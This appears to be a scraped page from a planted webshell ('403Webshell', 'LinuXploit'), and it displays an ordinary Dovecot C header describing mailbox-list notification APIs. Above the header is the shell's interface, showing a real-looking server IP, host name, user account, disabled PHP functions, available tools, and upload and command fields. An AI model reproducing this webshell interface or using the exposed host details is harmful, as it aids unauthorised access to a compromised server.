403Webshell
Server IP : 176.32.38.42  /  Your IP : 216.73.216.198
Web Server : LiteSpeed
System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User : s1225329 ( 1835)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/dovecot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/dovecot/mailbox-list-notify.h
#ifndef MAILBOX_LIST_NOTIFY_H
#define MAILBOX_LIST_NOTIFY_H

#include "guid.h"

struct mailbox_list_notify;

enum mailbox_list_notify_event {
	MAILBOX_LIST_NOTIFY_CREATE		= 0x01,
	MAILBOX_LIST_NOTIFY_DELETE		= 0x02,
	MAILBOX_LIST_NOTIFY_RENAME		= 0x04,
	MAILBOX_LIST_NOTIFY_SUBSCRIBE		= 0x08,
	MAILBOX_LIST_NOTIFY_UNSUBSCRIBE		= 0x10,

	MAILBOX_LIST_NOTIFY_UIDVALIDITY		= 0x20,
	MAILBOX_LIST_NOTIFY_APPENDS		= 0x40,
	MAILBOX_LIST_NOTIFY_EXPUNGES		= 0x80,
	MAILBOX_LIST_NOTIFY_SEEN_CHANGES	= 0x100,
	MAILBOX_LIST_NOTIFY_MODSEQ_CHANGES	= 0x200
#define MAILBOX_LIST_NOTIFY_STATUS \
	(MAILBOX_LIST_NOTIFY_APPENDS | \
	 MAILBOX_LIST_NOTIFY_EXPUNGES | \
	 MAILBOX_LIST_NOTIFY_SEEN_CHANGES | \
	 MAILBOX_LIST_NOTIFY_MODSEQ_CHANGES)
};

struct mailbox_list_notify {
	struct mailbox_list *list;
	enum mailbox_list_notify_event mask;
};

struct mailbox_list_notify_rec {
	/* Each record can contain multiple events */
	enum mailbox_list_notify_event events;

	/* For all events: */
	const char *storage_name, *vname;
	/* For selectable mailboxes: */
	guid_128_t guid;

	/* For rename: */
	const char *old_vname;
};

typedef void mailbox_list_notify_callback_t(void *);

/* Monitor for specified changes in the mailbox list.
   Returns 0 if ok, -1 if notifications aren't supported. */
int mailbox_list_notify_init(struct mailbox_list *list,
			     enum mailbox_list_notify_event mask,
			     struct mailbox_list_notify **notify_r);
void mailbox_list_notify_deinit(struct mailbox_list_notify **notify);

/* Get the next change. Returns 1 if record was returned, 0 if there are no
   more changes currently or -1 if some error occurred */
int mailbox_list_notify_next(struct mailbox_list_notify *notify,
			     const struct mailbox_list_notify_rec **rec_r);
/* Call the specified callback when something changes. */
void mailbox_list_notify_wait(struct mailbox_list_notify *notify,
			      mailbox_list_notify_callback_t *callback, void *context);
#define mailbox_list_notify_wait(notify, callback, context) \
	mailbox_list_notify_wait(notify - CALLBACK_TYPECHECK(callback, void (*)(typeof(context))), \
				(mailbox_list_notify_callback_t*)callback, context);
/* Flush any delayed notifications now. */
void mailbox_list_notify_flush(struct mailbox_list_notify *notify);

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit